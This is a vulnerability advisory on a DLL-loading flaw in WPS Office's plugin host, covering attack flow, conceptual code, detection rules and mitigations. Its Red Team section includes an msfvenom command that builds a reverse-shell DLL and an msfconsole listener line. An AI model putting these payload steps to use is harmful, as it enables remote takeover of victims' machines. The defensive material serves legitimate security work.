CVE-2024-7263

Executive Summary

CVE-2024-7263 is a critical path validation vulnerability in Kingsoft WPS Office for Windows, specifically within the promecefpluginhost.exe component. This flaw allows an attacker to load an arbitrary Windows library (DLL) by exploiting improper sanitization of a parameter that was not addressed in the patch for the related CVE-2024-7262. The vulnerability affects versions 12.2.0.13110 through 12.2.0.17115 (exclusive). Successful exploitation could lead to arbitrary code execution in the context of the logged-on user, enabling malware deployment, data exfiltration, or system compromise. No public proof-of-concept or exploit code is currently available, and the vendor has not released a complete patch for this specific variant.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Windows application vulnerability in Kingsoft WPS Office, a popular office suite. The risk is primarily to end-users who have installed the affected versions directly from the vendor or through software distribution channels.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned by NVD) Threat Level: High (based on impact and exploitation potential)

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Local – requires the attacker to have local access or trick the user into opening a malicious file.
• Attack Complexity (AC): Low – no special conditions required beyond user interaction.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): Required – the victim must open a crafted document or trigger the vulnerable component.
• Scope (S): Unchanged – exploitation does not affect other components.
• Confidentiality (C): High – arbitrary code execution can lead to data theft.
• Integrity (I): High – attacker can modify system files or install malware.
• Availability (A): High – attacker can crash the system or disrupt operations.

Threat Level Justification: The vulnerability allows DLL hijacking, a well-known technique for privilege escalation and persistence. The lack of a complete patch increases the risk of active exploitation in targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the promecefpluginhost.exe process, which is part of Kingsoft WPS Office's plugin hosting infrastructure. The component fails to properly validate a path parameter when loading Windows libraries (DLLs). This is a classic path traversal or improper input validation issue (CWE-22).

Root Cause: The patch for CVE-2024-7262 attempted to sanitize one parameter but left another unsanitized. An attacker can craft a malicious document or trigger a specific function that passes an attacker-controlled path to promecefpluginhost.exe. The process then attempts to load a DLL from that path without verifying its legitimacy.

Attack Flow:

1. The attacker creates a malicious WPS Office document (e.g., .wps, .docx, or .xlsx) that contains embedded code or triggers a plugin function.
2. The victim opens the document in an affected version of WPS Office.
3. The document triggers promecefpluginhost.exe to load a DLL from a remote share or a local directory controlled by the attacker.
4. The malicious DLL executes arbitrary code with the privileges of the WPS Office process.

Impact: Full compromise of the user's session, including access to files, credentials, and network resources. The attacker can install backdoors, keyloggers, or ransomware.

Vulnerable vs. Patched Code

No official patch has been released for this specific variant. The vendor's patch for CVE-2024-7262 (version 12.1.0.17119) was insufficient. The vulnerable code likely involves a function that accepts a path parameter without proper validation.

Vulnerable Code (Conceptual):

void LoadPluginLibrary(const std::wstring& pluginPath) {
    // No validation of pluginPath
    HMODULE hModule = LoadLibraryW(pluginPath.c_str());
    if (hModule) {
        // Execute plugin code
    }
}

Patched Code (Expected):

void LoadPluginLibrary(const std::wstring& pluginPath) {
    // Validate path against allowed directories
    if (!IsPathSafe(pluginPath)) {
        // Log error and reject
        return;
    }
    HMODULE hModule = LoadLibraryW(pluginPath.c_str());
    if (hModule) {
        // Execute plugin code
    }
}

Key Difference: The patched version should include a whitelist of allowed directories (e.g., only loading DLLs from the WPS Office installation folder) and reject any path containing traversal sequences (..) or pointing to external locations.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Affected WPS Office version (12.2.0.13110 to 12.2.0.17115)
• Ability to deliver a malicious document to the victim (e.g., phishing email)
• A malicious DLL (e.g., evil.dll) that performs the desired action (e.g., reverse shell)

Exploitation Steps:

1. Create a malicious DLL using a tool like msfvenom:

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o evil.dll
   

2. Host the DLL on an SMB share or web server accessible from the victim's machine.
3. Craft a WPS Office document that triggers the vulnerable plugin loading. This may require reverse engineering the document format or using an existing exploit framework.
4. Send the document to the victim via email or other means.
5. When the victim opens the document, promecefpluginhost.exe loads evil.dll, executing the payload.
6. Receive the reverse shell on your listener:

   msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
   

Note: No public exploit code is available. The above steps are conceptual and require custom development.

Blue Team (Defensive)

Detection:

• Monitor for unusual DLL load events from promecefpluginhost.exe using Sysmon Event ID 7 (Image loaded).
• Look for LoadLibrary calls to non-standard paths (e.g., \\*\share\evil.dll or C:\Users\*\AppData\Local\Temp\*.dll).
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted DLL loading.

Hunting:

• Search for promecefpluginhost.exe spawning child processes or loading DLLs from suspicious locations.
• Use PowerShell to check for recent WPS Office document opens:

  Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 7 -and $_.Properties[1].Value -like "*promecefpluginhost*" }
  

Mitigation:

• Immediately update WPS Office to the latest version (if a patch becomes available).
• Restrict execution of promecefpluginhost.exe via AppLocker or Windows Defender Application Control (WDAC).
• Disable unnecessary plugins in WPS Office settings.

Indicators of Compromise (IOCs)

YARA Rule:

rule CVE_2024_7263_Malicious_Document {
    meta:
        description = "Detects WPS Office documents attempting to exploit CVE-2024-7263"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7263"
    strings:
        $s1 = "promecefpluginhost" nocase
        $s2 = "LoadLibrary" nocase
        $s3 = "\\\\"  // UNC path
    condition:
        uint16(0) == 0xD0CF and all of ($s*)  // WPS Office document magic bytes
}

Detection Engineering

YARA Rule

rule CVE_2024_7263_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting CVE-2024-7263"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7263"
    strings:
        $s1 = "promecefpluginhost" nocase
        $s2 = "Kingsoft" nocase
        $s3 = "WPS Office" nocase
    condition:
        all of ($s*) and pe.imports("kernel32.dll", "LoadLibraryW")
}

Sigma Rule

title: CVE-2024-7263 - DLL Load from Suspicious Path by promecefpluginhost.exe
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects promecefpluginhost.exe loading DLLs from non-standard paths
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image: '*promecefpluginhost.exe'
        ImageLoaded:
            - '*\\Temp\\*'
            - '*\\Users\\*\\AppData\\*'
            - '\\\\*\\*'
    condition: selection
falsepositives:
    - Legitimate plugin updates from vendor
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2024-7263 - Potential DLL Download by WPS Office"; flow:to_server,established; content:"GET"; http_method; content:"/evil.dll"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update WPS Office: Check for updates from Kingsoft and apply any new patches. If no patch is available, consider using an alternative office suite temporarily.
2. Block DLL Loading: Use Windows Defender Application Control (WDAC) or AppLocker to restrict promecefpluginhost.exe from loading DLLs from user-writable paths.
3. Disable Plugins: In WPS Office settings, disable all third-party plugins until a patch is applied.
4. User Awareness: Train users not to open documents from untrusted sources.

Long-Term Fix:

• Kingsoft must release a comprehensive patch that validates all parameters in promecefpluginhost.exe and implements a whitelist of allowed DLL paths.
• Implement code signing for all plugin DLLs to prevent arbitrary loading.

Workaround:

• Remove or rename promecefpluginhost.exe (may break plugin functionality):

  takeown /f "C:\Program Files\Kingsoft\WPS Office\12.2.0.13110\promecefpluginhost.exe"
  icacls "C:\Program Files\Kingsoft\WPS Office\12.2.0.13110\promecefpluginhost.exe" /deny Everyone:(X)
  

Valters IT
Securing Digital Frontiers